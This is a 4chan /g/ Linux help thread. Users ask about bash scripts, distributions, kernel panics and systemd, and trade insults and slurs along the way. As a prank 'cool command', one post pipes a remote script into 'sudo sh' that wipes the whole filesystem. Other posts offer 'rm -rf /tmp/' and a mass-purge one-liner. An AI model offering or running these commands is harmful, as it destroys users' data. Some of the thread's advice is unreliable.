/fglt/ - Friendly GNU/Linux Thread

How do you guys feel about manjaro and linux mint? Any positive/negative experiences? Also, it says on the wiki that linux mint website isn't safe, so where would I go download that?

So I have this script to take screenshots via keybinding

#!/bin/bash
DATE=$(date +%Y-%m-%d_%H-%M-%S-%N)
case $1 in
    -s)
        $(scrot -s $DATE'.png' -e 'mv $f ~/Pictures/Screenshots/')
        ;;
    *)
        $(scrot $DATE'.png' -e 'mv $f ~/Pictures/Screenshots/')
        ;;
esac

But for some reason, whenever I call the script from my i3 config like this,

bindsym Shift+Print exec --no-startup-id ~/Scripts/screenshot.sh -s

It just wouldn't using

scrot -s

for some reason. But whenever I remove the -s from the command being executed from the script itself, it takes a screenshot. I don't understand why

scrot -s

won't run from a hotkey.

how can I purge everything related to pulse audio? debian based distro

>>61037280
Uninstal it and all its deps

>>61037280
http://forums.debian.net/viewtopic.php?f=5&t=110272

Also, make sure you

rm -rf /tmp/

since it will store files there I believe then reboot.

When using this script it fails to locate the input file.In this case "input.mkv".Running the command manually works.Where am i going wrong?

#!/bin/bash
for file in *
do
vspipe --arg "in_filename=$file" --arg display_fps=60 --y4m motioninterpolation.vpy -|ffmpeg -i - -crf 11 "$file"-60
done

I have Ubuntu 17.04. I updated it when I installed it.
I'm trying to install SLASH'EM.
I get this error from gdeb when trying to install:
Error: Dependency is not satisfiable: xlibs (>=4.0.1-11)

I'm guessing I need xlibs at a version of equal ot newer thant that. But how do I get it?

>>61037324
Try putting the command in $( ... ) since you're using double quotes.

>>61037346
Search for it first

apt-cache search xlib dev
or
aptitude search xlib dev

Then if you find it, install it via apt or aptitude.

>>61037368
The vspipe?
How?

>>61037392

#!/bin/bash
for file in *
do
$(vspipe --arg "in_filename=$file" --arg display_fps=60 --y4m motioninterpolation.vpy -|ffmpeg -i - -crf 11 "$file"-60)
done

I'm not that good with bash yet, but if that doesn't work out, try playing around with the quotes and look up arrays.

Maybe something like "in_filename="$file ? Not sure.

>>61037411
>>61037392
Actually shit, try this https://www.cyberciti.biz/faq/bash-loop-over-file/

>>61037280
>how can I purge everything related to pulse audio? debian based distro
What's wrong with pulse?

>>61037434
The for loop works fine,its just something with vspipe not finding the file.I can use identical for loops with other programs and they work.I've never use vspipe before this

>>61037520
Maybe it changes directory before doing stuff or some shit.

>>61036783

>going to shitty downstream distributions

You are beyond help.

>>61037297

/tmp should ge cleared after every reboot so he doesn't have to remove anything if he reboots

>>61036783
Manjaro is /fglt/ approved because it has non-systemd option

Is -march=native the same as -march=x86-64 if I compile on a Intel i5 520M?
Is there something else I can add to produce "optimized" binaries?

>>61038489

>g approved
You spineless utter retard. Who even says that it's approved? Who is fglt? I understand that you're an idiot, but even an idiot would know that there are multiple people who post here.
There's no need to address why Manjaro and other shitty downstream distributions are idiotic. Neither is there a need to address the fact that you most likely don't even know what systemd is, but you hate it because it's cool and it makes you appear smart and edgy.

>>61038621
Blow it out your ass

>>61038606
https://wiki.gentoo.org/wiki/Safe_CFLAGS

>>61038701

Thanks.
I also did

gcc -march=native -E -v - </dev/null 2>&1 | grep cc1

and turns out native autodetects it properly. For my i5 520M it's "westmere" as mentioned on that page.

Do you need a boot manager for UEFI installs?

So, i used windows on my home server for a long long time and never had any issues, but i got the linux itch in my head, so i tried to install it on my server instead and i loved it, it's so well designed and using the shell is so much fun.

But lo and behold, after using it for mere two months i today noticed the server wasn't working. After attempting to boot it all i'm getting is
>kernel panic-not syncing: VFS: unable to mount root fs on unknown block(0,0)
I haven't even touched that server in over a month, it just broke on its own. All i use it for is to run samba and apache.
I mean i heard stories that linux is unreliable and breaks all the time but i though they were memes and you have to fuck up for it to break.
Will this happen often? Because if yes, i will have to go reluctantly back to windows

>>61038621
>you most likely don't even know what systemd is
it's got a 99.999999999% chance of having an NSA backdoor and that's all anyone needs to know.

Literally, someone could know nothing else about it and that would be enough to avoid like the plague.

>>61039242

According to your logic any free software can, including your kernel.
Just as I assumed, you have no real knowledge but you're parrotting memes you found here and elsewhere.

>>61036719
since alsa is no more in firefox
>Play YouTube videos (or audio) with 2 (ok maybe 3) clicks?
useful if you don't have/want pulse
http://ix.io/xoM

>>61037280
apt autoremove pulse or something
man apt

>>61036783
one is a hobbyist project used by kids the other is ubuntu with another de

>>61039258
I'm not the guy you were originally responding to in the previous post.

I'm just telling you that software that was made with the help of the NSA, like systemd, is most likely compromised in some form or fashion, and that is enough reason to avoid it. If you avoid windows for it being aidsware, then it is logical to want to avoid systemd. That's all I'm saying.

Hell, I don't even have VLC installed on my rig anymore. No botnet for me ok.

>>61039442

It wasn't made by the NSA. It was made by people employed by Red Hat, amongst others. Red Hat also contributes to the Linux kernel, yet you use it. More so: the NSA developed SELinux, but you ignore that. Most likely because you're an idiot who has not even basic superficial knowledge or because you're not capable of logical thinking.

tl;dr: you're a retarded hypocrite meme and myth spreader

>>61039022
It's never happened to me before, when I wasn't fucking with partitions and whatnot. It looks like for your grub works fine but your initramfs is broken ;(. Don't know what system you are in but you probably need to boot into a live disk to fix it. You might be able to tell grub to skip the initramfs but I don't know how. Are you sure you didn't have auto updates on or something?

>>61036719
I sure would mount -a her.
Then I'd yes in her face.

>>61039603
I run apt upgrade once in a while, but surely that couldn't brake it? If updating the system broke it that would be a pretty huge drawback, considering that windows can run auto updates for years and years and never break

>>61039575
Yeah, don't assume maliciousness when the most likely explanation is a sever case of Dunning–Kruger.

>>61039624
It sure isn't usual for it to break on updates, but there is no other time the initmramfs gets updated. Unless there is filesystem corruption. Then again, windows well for some people but breaks for others too!

>>61039624
clearly you're not an Arch user

>>61039649
I'm using ubuntu server, i wanted a system that is linux but at the same time easy to use

>>61039575
ok my bad. NSA assisted in the creation of SELinux and systemd is on the "NSA approved" list of software.

That makes me feel so much more comfortable. I'm glad the NSA is keeping a look out for the little man. I'll be sure to go out and get my free copy of windows 10 tomorrow.

>>61039603
>It looks like for your grub works fine but your initramfs is broken

boot up an older kernel from the grub list

if it succeeds, run

update-initramfs -u -k all

>>61039702

Stop using the Linux kernel you retarded hypocrite or stop posting your conspiracy theories. Alternatively continue being the laughing stock for normal people that aren't retards.

>>61039710
How do you remove old kernels? I have like 30 of them i only want the lastest one

>>61039022
>>61039624
>>61039674
Ubuntu is the distro that's capable of breaking on it's own. As is everything debian based.

>>61039649
I've had Arch break on me once, the combination of no pulseaudio and having steam open for a week straight filled my tempfs, I ran a system update, mkinitcpio didn't have room to build the initramfs and failed, I was a retard faggot and rebooted.
Fixing is as easy as booting off a USB, chroot and mkinitcpio, but the thumbstick I had with me on that day had a debian installer on it which doesn't let you do such things.
Was entirely my fault though.

>>61039337
>useful if you don't have/want pulse
Install apulse and run firefox with that. I literally just did this.

>>61039644
Updates on not-rolling distros are huge though. I've had so many broken updates on debian based systems I'm going to purge those systems from my house when their support runs out.

>>61039022
I was dealing with this issue all day.

What FS were you using?

I switched to ext3 from ext4 and that seemed to resolve the issue.

>>61039783
>Stop using the Linux kernel you retarded hypocrite
Can I be a special snowflake like Debian and remove the icky parts I don't like instead?

>stop posting your conspiracy theories
Seriously. All I said was that avoidance of the software due to probable backdoors(NSA APPROVED) was a sane decision. That's not a conspiracy theory. If I were to say the NSA was working on a way to give everyone Martian Herpes via a kernel update, that would be a conspiracy theory. If I were to say SELinux was mining buttcoin with everyone's RAM while asleep, that would be a conspiracy theory.

>>61039857
I think it was ext 4, i used the default settings in the installation

>>61039868

You cannot remove every part contributed by Red Hat and have a working kernel. Keep living your hypocrite life, idiot.

>>61039242
>99.999999999% chance of having an NSA backdoor
No such certainty. It is only certain that it has an unknown, non-zero probability of having an NSA backdoor and that probability increases over time.

You can also, as you were doing, make educated guesses about the current probabilty of NSA backdoor in systemd and other pieces of software, based on factors like level of NSA involvement, complexity of code, and potential benefits of the backdoor.

If we are having an argument, and you stop replying to me, then I win by default.

>>61037280
>>61037505
This. Is it some systemd deal all over again?

>>61039242
>99.999999999% chance of having an NSA backdoor
How? Isn't it free software?

>>61041242
>How? Isn't it free software?
People don't necessarily audit every line of every commit of every free software project, and even when code is reviewed or audited subtle bugs (whether intentionally introduced or not) can go unnoticed, especially for large projects with hard-to-read code. Heartbleed was right there in everyone's face for years before anyone (or anyone not malicious) noticed it.

This issue that I am having may sound strange but surely there is someone ITT that has experienced it, and knows a fix. I will try and explain the issue as best I can because I have scoured the internet looking for a solution, but to no avail have i found anything.

When I have xfce-power-manager enabled and I use the brightness increase button on my laptop (T420) the brightness flickers quickly to max, then increases a little bit each time I hit the button. Inversely when I hit the brightness decrease button the brightness goes all the way dark and then decreases each time.

i recorded a video of the problem

https://my.mixtape.moe/wdskee.mp4

>Please note: common gentoo-netiquette says you should not sync more
than once a day. Users who abuse the rsync.gentoo.org rotation
may be added to a temporary ban list.

Haha go fuck yourselves, I'll sync as much as I please.

>>61041317
That applies to any piece of software then. Why is systemd then 99.9999% with a backdoor and everything else is perfectly fine?

>>61041434
Systemd is complicated and has the lowest possible access to a system.

I think people spreading the "systemd is the nsa botnet" conspiracy theories are actually systemd supporters; it just makes people shaking their heads and they continue using systemd,

>>61041434
No one said such thing, but see >>61040140
Indeed, any piece of software can hide such vulnerabilities, but they don't all have the same probabilities of doing so. Systemd happens to have a lot of things going for it:

- big, complex project (more room to hide vulnerabilities)
- hard to read code (easier to hide bugs, easier to have them pass as honest mistakes - indeed useful bugs may even be introduced as honest mistakes by well-meaning contributors to begin with)
- deals with lots of basic system functions (access to juicy parts of the system without the need for further exploits)
- lots of political pressure for major distributions to switch to it (wether that pressure comes from the NSA or not is irrelevant - the end result is more people running the software)

Systemd is the kind of software the NSA would have a high incentive to plant backdoors in, and also the kind of software they'd have a good chance of getting away with planting them in.

>>61041514
I think people who devaluate systemd detractors by referring to their arguments as "systemd is nsa botnet" are drooling retards with no clue what they're talking about

So how do you even learn to configure a kernal for gentoo? Just failing at it?

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>>61041584
>kernal

>>61041545
the actual problem with systemd is simple: programs should work with any init system, but systemd isn't only an init, it's growing into a "gnu/linux/systemd" standard
using vague backdoor arguements just makes people laugh

fbi 14743959594240.jpg
using "DejaVu Sans Mono-16", pixelsize=16,67 file=/usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf
ioctl VT_GETSTATE: Invalid argument (not a linux console?)

pls help

Anyone in support of systemd in any way shape or form is a CIA shill advocating for the destruction of privacy, and humanity as a whole.

>>61041598
hint:
>not a linux console

>>61041609
How is gnome terminal not a linux console?

>>61041401
What are mirrors or CDNs?

>>61041622
"linux console" is a pretty bad expression
what they actually mean, it's not a virutal terminal (one of the terminals you can reach with CTRL+ALT+F1-F12

>>61041622
>gnome terminal
That's a terminal emulator.

>>61041638
It's the same in those terminals as well, can you suggest some image viewers that would work with emulated terminal?
I read the OP but what do you suggest? Something simple

>>61041662
Try this: http://www.nongnu.org/fbi-improved/

Otherwise just use w3m.

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This isn't the LaTeX thread, but I figured at least some of you were knowledge enough in it to maybe offer some help.

I am itemizing things (in TexStudio), and currently have:

\begin{itemize}
    \item Title: text\\
    
\end{itemize}

I would like to have the \item flag appear after each press of the enter key when itemizing; is this possible? I am aware of the

CTRL+SHIFT+I

shortcut, but it is cumbersome when listing things.

>>61041691
Thanks

>>61036719
What are those bags on the trees in the back?

>>61039022
Sounds like your HD is malfunctioning

>>61041634
A mirror is something that shows a reflection, often used for vanity.

>>61041662
install terminology
tycat pic.png

>>61041662
Your just want an image viewer on X you can run from the console? Try feh. If you want one for the terminal without X, search for framebuffer viewers.

>>61041662
use w3m

w3m -o ext_image_viewer=0 pepe.jpg

>>61041785
Exactly. Reflection of files in this case and the vanity is being able to sync more than once per day. Why can't gentoo just add them?

Why would I be getting "a start job is running for rebuild dynamic linker cache" on every boot?

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>>61041821
systemd

>>61041821
Ask systemd

>>61041821
sounds like a bad case of systemd.

Check if the dynamic linker cache is not created in tmpfs or in a location which is wiped every time you reboot.

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thoughts on grml?

>>61041706
pls respond

>>61041992
hi anon

>>61041987
On what?

>>61042006
https://grml.org/

>>61042004
pls respond with helpful information. i appreciate the greeting though. hello other anon.

>>61042016
Oh I see now. My first impression is that it seems useful.

>>61042016
>23 Jun 2017: New Grml developer: Darshaka Pathirana

This is very problematic...

>>61042024
You can use the bottom of a mug to sharpen a knife, in a pinch.

>>61042016
well known for the best zsh configuration, but never tried it

>>61042084
How? I have a cool Swiss Army Knife but it is very dull. Do I just simply brush the blade across it?

>>61042084
you are not being very helpful in regards to my original question, but I will be sure to remember that tip if I ever go to prison.

you don't happen to know if there are any LaTeX help IRC channels are there?

>>61042169
Yes! There is a latex channel on freenode with quite a few users

>>61042100
The two main sharpening techniques are running the blade across the sharpening surface edge first, as if trying to cut a thin slice off it, and running it backwards, as if spreading cheese. You are advised to look up videos on the subject.

>>61042201
OK cool, thank you for the advice

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>>61042192
i do not see any on the installgentoo wiki.

What is the best loonix alternative to windows media center? i want to switch my htpc over to linux but my family uses wmc heavily so i need to replace it
It needs to be able to display a tv guide and record live tv based on what people tick in the tv guide, from two different tv cards

>>61042221
http://irc.netsplit.de/channels/?net=freenode&chat=latex

>>61042260
Kodi?
Plex?

>>61042279
Are you sure they can handle what i asked? they are many many media center apps which can't handle live tv from a tv tunner

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>>61042024

>>61042260
>family uses wmc heavily
>decide to replace family
Wise choice.

>>61042304
AHAHAHAHAHAH

>>61042271
Thanks, anon.

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>>61042306

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>>61042349

I just found this really helpful german debian howto website. http://www.debianhowto.de/

>>61042496

How do I use it? Too many links and the information is all over the place.

What sounds more professional on my linux job resume, [email protected]
or [email protected] (goldenberg.com is taken) i want to register a domain solely to have a nice business email when i fill out forms

>>61042531
How about a domain without a jewish name in it

Thinking of switching from Gentoo to Debian 9. Should I or should I not?

>>61042531
[email protected]

cock.li

>>61042531
[email protected]

>>61042531
[email protected]

>>61042531
[email protected]

>>61042554
Install Devuan.

>>61042592
OK, how do I install their "testing" version called Ascii

>>61042531
An email in its own domain sounds like you are already working for someone else or were working there and can't setup your own email after you left.

Unless that's you last name, that's just pretentious.

>>61042531
>linux job
????

>>61042623
Usually, you don't install testing, you install stable and upgrade. Edit /etc/apt/sources.list and add, or replace current lines with, lines for the testing release, and then upgrade. See for reference:
https://debian-handbook.info/browse/stable/apt.html#id-1.9.10.8

Use codeword "testing" if you want to remain on the testing branch, or release name "ascii" if you want to stay on that release when it becomes stable.

I've recently noticed that my internet is faster in linux than in windows,

I've installed DWS and disabled all "data share" and even wupdate on windows yet it is still somehow using my internet connection, it doesnt even show the network being used on the task manager

I'm pretty sure I don't have any viruses/malware, does anyone know why my linux install is faster?

>>61042298
that questions is too specific for me, sorry.
perhaps the plebbitors can actually be useful this time.
https://www.reddit.com/r/kodi/
https://www.reddit.com/r/plex/

>>61042720
Ah I see, but is doing that going to create a Frankendebian?

>>61042531
[email protected]

>>61042782
No, that's the normal way to run testing. Just to be sure, that link is to show you the syntax - you'd be using devuan's repos.

If it's mixing releases that you're worried about, that's quite normal too. Care is needed only when you add repos from a later release than you want to be using - if you want to run testing but add the unstable repos, you need to instruct your package manager to prefer versions from testing, otherwise it'll try to upgrade everything. But if you want to run testing you risk nothing from adding stable repos - in fact some packages will be there that are missing from testing, so you should.

>>61042624
That only applies if your email is something like [email protected]
but having your own domain makes it look nicer and tells the employer that you can run your own domain and care about details since you bothered to actually create your own email domain unlike that other [email protected] candidate

>>61039888
>moving goalposts
nice one lennart

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Hello, fellow GNU/Linux users,
As you no doubt already know, Debian 9 (Starch) has been released 5 days ago, and I've just heard about it.
I'm currently using Arch GNU/Linux for my desktop, and Manjaro for my Laptop.
I must say, I don't like Manjaro very much, and I should've installed Arch instead of it on my laptop too; but now that Debian Startch is out, I have other options.
Is it good?
Should I use it for my laptop, knowing that I don't use my laptop very often, so up-to-date software is not of as big importance as on my main PC.

TL;DR, what's your opinion on Debian 9, /g/?

>>61042884
too much systemd imho

>>61036719
/fglt/ i chose manjaro i3 as my first distro and i really liked it got really used to it but after using it i came here and everyone was calling it a meme got insecure and tried fedora it really sucked a lot of things were broken and was laggy are all distros meme for one reason or another? Am i a faggot for enjoying manjaro?

>>61042945
Most major distros have systemd nowadays, I've learned to live with it.

>>61042884
Use Devawn instead

>>61042970
>are all distros meme for one reason or another?
Definitely.
>Am i a faggot for enjoying manjaro?
Not really, but at some point in the future when "sudo pacman -Syu" will have murdered some parts of your system you will feel like one.

>>61043114
Also does fedora not install display drivers automatically like a lot of distros or does it? Or will i have to install them manually

>>61043171
I would guess that it installs the non-proprietary drivers, but I actually have no clue.
Some googling will certainly tell you more.

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>>61042884
Switched back to good ol Deb after some time on Devuan, mostly because I cannot wait for who knows how much until they upgrade to the next version and the Java packaged there is not receiving security updates anymore because it's ancient so I don't wanna risk it.
So far it's been amazing. Debian in general is great. Packages are kinda old but they are rock solid and secure, because they have been tested thoroughly for about two years now, so it's great for any use, be it server or desktop. Also debian has tens of thousands of packages available, so you have everything already packaged, but you can always build stuff from source.
I've tried many distros but I always go back to Debian eventually. And now is a good place to hop on because of the fresh release. Just try it, you'll love it.

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What are some cool terminal commands?

>>61043272
touch man

>>61043272

curl z3bra.org/tits

>>61042970
I think you shouldn't listen to what some anonymous shitposters on a website run by a coin slot eyed rice eater and just use whatever suits you best. All of the distros have their pros and cons, and most are subjective, so if you like how Manjaro works just use it. There's no point to distro hop every week because of memes.

>>61043296
This is a safe for work board. My boss just gave me a promotion

>>61043296

curl https://ptpb.pw/_g6F | sudo sh

(DON'T DO THIS!)

>>61043434
What is this?

>>61043472
It runs "rm -fr --no-preserve-root /" as root, effectively deleting everything on your drive.

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>>61043434
Ahh, one of the cool GNU/Linux commands, I see.
What are other cool GNU/Linux commands?

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Hey everyone, I just installed debian on a second drive, i have windows installed on my first drive. everything works fine but when im booting into debian i get these errors and its messing with my autism, ive tried googling and havent had much luck.

There seems to be two issues, the first is the issue with ACPI, If i disable ACPI in the bios and set it to IDE, the error will go away, but then i can't boot into my windows drive. any one know whats up?

Second is the last part of the image, Superblock mount time is in the future by less then a day, thing is my system clock and my bios clock are both displaying the correct date.

does anyone know how to fix these errors?

or at least not display them every time i boot and trigger my autism.

They seem benign for now.
Will these errors cause issues in the future?

Thanks

>>61043520
That "mount time is in the future" thing happened to me recently (I have Arch GNU/Linux and Windows on the same physical disk), and I think it's because my PC did not shut down correctly, because this error was gone when I rebooted.

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>>61043434
>rm -fr
>not rm -rf
I like you.

>>61042531
[email protected]

>>61043558
hmm can't get it to go away even with proper rebooting

>>61043491

info coreutils

>>61043563
To be fair, I did nazi that coming. I came here to say this but boy, that escalated quickly so to the top with you! Lost it at 'This is why we can't have nice things' and then my faith in humanity was restored, my mind blown, and manly tears were shed. Well said. As a 'murican, I can confirm this gem has just won the internet and is doing it right. Just sayin', I know that feel, bro, and while that was a risk click, this post was a 9/10, would read again. I see what you did there and it feels good man. You're doing God's work, son. I laughed way harder than I should have at your list that seems legit and totally nailed it. You - I like you. You magnificent bastard; you, sir, are so brave, a gentleman and a scholar, and seeing how you are a redditor for 4 years, this checks out, so I'll allow it. I regret that I only have one upvote to give for this cool story, bro.
CTRL+F "about tree fiddy" was not disappointed.
Wait, why do I have you tagged as "NOPE NOPE NOPE"? Nice try, you monster. What did I just read? Dafuq? I read that as "YOU HAD ONE JOB". I can't fap to this. No true scotsman could see that this relevant XKCD was bad and you should feel bad. You must be new to reddit, so I'll see your cakeday and raise you a karma train. One does not simply rustle my jimmies, not even once. This stahp gave me cancer for science, so that's enough internet for me today. OP is a fag, 2/10, would not bang. What is this I don't even know how is this wtf? This will get buried but brace yourselves, some men want to watch the world burn right in the feels. When you see it, they'll KILL IT WITH FIRE! But this has nothing to do with atheism. Lawyer up, delete facebook, hit the gym, and SHUT UP AND TAKE MY MONEY, said no one ever, so you wouldn't download a strawman. Damn onions, you scary like a BOSS. woosh.
Since rule #1 is 'be attractive', I'll just leave this here: This is my [f]irst post, be gentle. I have the weirdest boner right now.
EDIT: Thanks for the gold.

I want to use systemd-networkd as my network manager. I got it up and running both for my wired and wireless networks, there's one thing i can't understand though: why it works out of the box with wired networks but needs wpa_supplicant for wireless? i mean can someone explain me which software does what?

>>61043624
Every reddit thing ever in just one post. Congratulations, have an upvote.

>>61043624
>I have the weirdest boner right now.

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>>61043684

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>>61043684

How can I look into current power usage?
Powerstat does not work on pc's and I don't want intlel to spy on me for a few days with powertop

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>>61043771

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>>61043794

>>61043792
Powertop is the shizzle senpai. If you're that fucking paranoid, disconnect from the net then powertop.

>>61043792
ls /sys/class/power_supply/*/*

>>61043771
Hot.

>>61043809
I just want to see the current power draw, not the average.

>>61043834
Nothing there

>>61043491
Just found out the other day tput reset or printf "\033c" are faster than reset, but don't do quite as good a job of clearing a messed up terminal as clear && reset.
Govern yourselves accordingly.

>all these Asian girls referencing gnu/linux
Is this some white boy who moved to Nippon who forces these girls to hold up signs before he pleases them with his bwc?

>>61044035
These images could be manipulated.

>>61044066
I find my version more entertaining.

>>61043520
help plz
clap plz

>>61043272
NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""

>>61042884
Debian is GOAT distro with some minor differences to Ubuntu when you strip out the default installed packages.

Don't run Debian stable as your desktop, that's retarded. Go at least to testing, if not sid.

>>61044106
Time problems are most likely caused by defunct motherboard batteries

>>61043491

less /etc/X11/rgb.txt

>>61044145
>Don't run Debian stable as your desktop
Try and stop me.

>>61043520
>time
windows set the bios to local time, always, linux by default set it to utc.
change the time on linux to local time.
https://wiki.debian.org/DateTime#Hardware_clock_and_system_time_when_dual_booting

>>61044145
>Not using oldstable

>>61044145
>testing
Enjoy your /security/ updates

>>61044145
why people keep recommending testing?

when something breaks, the fix goes to unstable asap, on testing sometimes it takes a while (even tho the fix is already on sid)

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>>61044236
>>61044265
I've had issues running Debian stable even on servers due to too-old dependencies for the services I need to run. I'm a believer that you should run your desktop more towards the edge of bleeding than your servers.

>>61044303
I haven't used just testing in forever, maybe I shouldn't tell me to do that, and just say sid.

>>61044313
a lot of people see testing as a middle ground between stable and sid, but they fail to see that is a middle ground in a bad way, it has the worse of both.

>>61044239
but debian /etc/adjtime is already set to local. all clocks, windows, debian, hardware are local

>>61044145
>don't use the most patched version, use the unstable ones that are only meant to be used by developers and are not for daily use
When there is an exploit or a bug, it's fixed in stable first, with security patches being delayed in testing an sid for days sometimes.

>>61044356
unless your desktop computer is exposed directly to the internet, it's not that big of a deal.

>>61044351
Replace your motherboard battery or ignore the error

>>61036783
/g/ in general's thoughts on manjaro and linux mint are two reasons you shouldn't listen to anything /g/ says.

>>61044387
>>61044203

Yeah just replace the battery, those are cheap as fuck.

>>61044414
Not if you are a paranoid autist like me who enjoys having top of the line security.
I am the only one who even has access to my laptop but I still have it encrypted and locked with a lock screen.

so I'm installing gentoo to another partition from an existing one
wondering if I can just copy /usr, so I don't have to emerge anything on the new install and pick up where I left of from the old one
will it work?

why the fetishism of running always the last version of software? sans a few programs do you really need the last version version?
it's not like you know what's new with assparser-5.3.so

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>>61036783
mint is trash
manjaro is ok

what is debian stretch? is this a middle thing between unstable, testing, stable?

>>61044485
>manjaro is ok
Only if you're a time traveling wizard
>Holding pkg upgrades while we check the arch forums for bugs/fixes
Kek

>>61044508
No, stretch is the current codename for stable.

>>61044508
It's the current stable

>>61044511
Well basically you can make fun of every distro, Manjaro isn't the only one with some retarded bugs.
>Holding pkg upgrades while we check the arch forums for bugs/fixes
dumbe meme

>>61044511
as said, manjaro is ok, it's not "the best distro in existence" but it's ok in means better than mint

>>61044569
"better than mint" but anon, everything is better than mint, even Hanna Montana linux.

what is the best terminal command?

https://seasonofcode.com/posts/how-to-set-default-fonts-and-font-aliases-on-linux.html

this is a good tutorial to make your fonts dont look like shit.
works on every distro.

>>61044631
arch

>>61044631
cd

>>61044631

vrms -s | xargs sudo apt purge

>>61044631
sync; sync; sync

>>61044631
cat

>>61044532
I would've linked you a fucking source but apparently memejaro have deleted /particular/ posts like http://forum.manjaro.org/index.php?topic=1278.msg8600#msg8600

>>61044631
wget https://files.devuan.org/devuan_jessie.torrent

>>61044136

Nothing happens.

>>61043632

https://w1.fi/wpa_supplicant/

Literally explained in the first 2 paragraphs.

>>61044469

No, but I know what's new in [image_viewer] or [file_manager].
Also, there is no reason for a regular user not to update to the latest versions. Everyone does, other OSes too. It's just that people make a big deal out of it on Linux distributions.

>>61044532

How does Manjaro test and patch the packages themselves?

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>>61044631
fortune | cowsay

>>61044801
There is no reason to get newer things if everything works just as you want it to

>>61044829
confirmed

>>61044801
>everyone does
before windows 10, no, running the last version of everything is a recent phenomenon.
most programs on windows dont even have autoupdate, and when they do people just dont update anyway, that's problematic (see java and flash) but eh.

>>61044702
>apt
>implying

>>61044843

Yes, but it doesn't always work the way people want it to.

>>61044848

That's not the point. The point is using software released by upstream as stable. You do it on Windows every time you install something. Just because you don't update it in a year, doesn't mean you weren't running the absolutely latest version of it at one point.
If the latest "bleeding edge" (I hate that phrase so much) Firefox released for Windows works, why wouldn't the same work on Linux distributions? Because it does.

>>61044136
old news https://github.com/systemd/systemd/issues/4234

Just managed to run games on linux ( my main distro gentoo nomultilib without xorg.
So I installed arch.
Steam is bloated piece of shit, still no support for wayland and modern versions of libraries.

>fortune | cowsay
welcome to 2008

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>>61044949

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>>61044939
But still Linux much better for gaming.

>>61044880
because on windows "works" mean that it works on windows, the os that microsoft sells, maybe with flash, java and some things.

On linux "it works" means that it has to play well with a lot of stuff that may or may not be installed but distro still has to guarantee that it will work.

take firefox per example, if you release firefox for linux you need to make sure that it works with only alsa or alsa+pulseadio, or others probably. On windows the devloper only cares if it works with winaudio, they don't even test if it works with asio.

releasing software on linux is fucking hell if you want/need the thing to works on every combination that makes "linux", this puts in perspective why firefox require pulseaudio now.

>>61044975
man, that looks bad.

use terminus for x terminals and ter-v14n or ter-v12n for tty

>>61044975
So I need help:
1. How to use non-steam servers for Counter Strike Source?
2. Why Arch so bloated so it uses jack\pulse\whatever, and for some reason I can't just run cmus, mpv, but chromium, Euro Truck SImulator, (GAMES) works.

>>61045023
I know, this shit is default on Arch, ubuntu fonts much better, terminus just perfect but how to use it on arch?

>>61045052
who knows. Does anyone use Arch unironically?

>>61045069
I do, for games only.
For work I have gentoo nomultilib with wayland.

>using Linux post-grsec
It's like you want to get rootkits on your shit.

I've updated Manjaro to Gellivara and the linux kernel to 4.11.6, and now I'm stuck on booting with this message

"starting version 232. /dev/sda4: clean, [numbers]/[numbers] files, [numbers]/[numbers] blocks"

I still can use tty, so I check "systemctl --failed" and it tells me sddm.service has failed.

Also it seems I have a problem with xorg-server package. When it's installed I got a weird glitch and can't even see the above message so I need to LiveBoot to disable it and start again.

I understand the desktop display manager is fucked but how do I solve this /fglt/?

>>61045069
Of course arch is a joke.
How detect real distro:
1. It's not branch of other distro
2. Bleeding-edje software
3. Available not only for amd64/x86 but for mips, power, sparc, arm.
So there is only 2 usable distros: Gentoo, Debian.
LFS is not a distro.

>>61045137
Gr8 B8 M8. You deserve some fishisticks.

>>61045137
I don't care about anything but amd64 and arm.

>>61045069
well considering every search result for linux troubleshooting is the arch wiki id say yes

>>61045185
>every search result for linux troubleshooting is the arch wiki
That's why I switched to Arch.

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holy fucking shit wtf. Just watching a twitch stream in chrome takes up all my cpu

>>61044981

>take firefox per example, if you release firefox for linux you need to make sure that it works with only alsa or alsa+pulseadio, or others probably.
You don't, that's the package maintainer's job. You install it and it works once it comes out and the package manager packages it for you.

>>61045052

You use fonts the same, regardless the distribution.

>using a proportional (not monospaced) font for your terminal emulator

>>61045263
Did you buy your cpu to not use it?

>>61045324
um a 720p video should not hog all the cpu

>>61045341
Who are you to decide? Clearly not.

Let the mechanism built in the cpu and its associated software to manage its self properly,its been working fine for over 40 years.

>>61045367
what am I supposed to do if I want to watch a video and do something else...at the SAME TIME

>>61044939
>without xorg
You mean with Wayland, right? You don't mean that you don't have a WM?

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>>61044939
>>61044975
>>61044981
>>61045185
I'd just like to interject for a moment. What you're referring to as Linux, is in fact, GNU/Linux, or as I've recently taken to calling it, GNU plus Linux. Linux is not an operating system unto itself, but rather another free component of a fully functioning GNU system made useful by the GNU corelibs, shell utilities and vital system components comprising a full OS as defined by POSIX.

Many computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called "Linux", and many of its users are not aware that it is basically the GNU system, developed by the GNU Project.

There really is a Linux, and these people are using it, but it is just a part of the system they use. Linux is the kernel: the program in the system that allocates the machine's resources to the other programs that you run. The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Linux is normally used in combination with the GNU operating system: the whole system is basically GNU with Linux added, or GNU/Linux. All the so-called "Linux" distributions are really distributions of GNU/Linux.

>>61045402
How can you be watching the video actively if you are doing something else?

Get better hardware.
Setup hardware acceleration

>>61045137
Obviously Debian is the best all around, but if you're talking about personal computing then supporting ARM and stuff isn't really a concern.

>>61045237
>I must use Arch in order to read the Arch Wiki
literally braindead

>>61045416
hardware acceleration in linux is non existent in the browser

>>61045433
That's not what I said.

>>61045441
Total bullshit

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>>61045448
lol. and chrome is no where to be found.

You know how in a wm you can take a snapshot and if you fuck anything up, you can just easily roll back?
Is there something like that for normal linux which is running directly on the metal?
Something that if i run like dist upgrade and it nukes everything i will be able to easily restore previous state just like with WM

>>61045441
living in the past hu.

>>61045505
btrfs snapshots https://ramsdenj.com/2016/04/05/using-btrfs-for-easy-backup-and-rollback.html
opensuse does that everytime you update/install something.

>>61045433
cuckbuntu ragefag spotted

>>61042554
Devuan unless you're absolutely set on Debian.

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>>61036719
>>61036719
So I just installed Manjaro and the taskbar is at the wrong monitor (triple monitor setup). I also made the taskbar disappear into another "workspace". Halp.

>>61045872
**I made the TERMINAL disappear into another workspace

>>61045872
Xfce right? Yeah multimonitor support been broken for like 8 years or something. It ignores the user preference for "primary" display and always puts the taskbar on the display closest to the 0,0 coordinate on the Xorg plane.

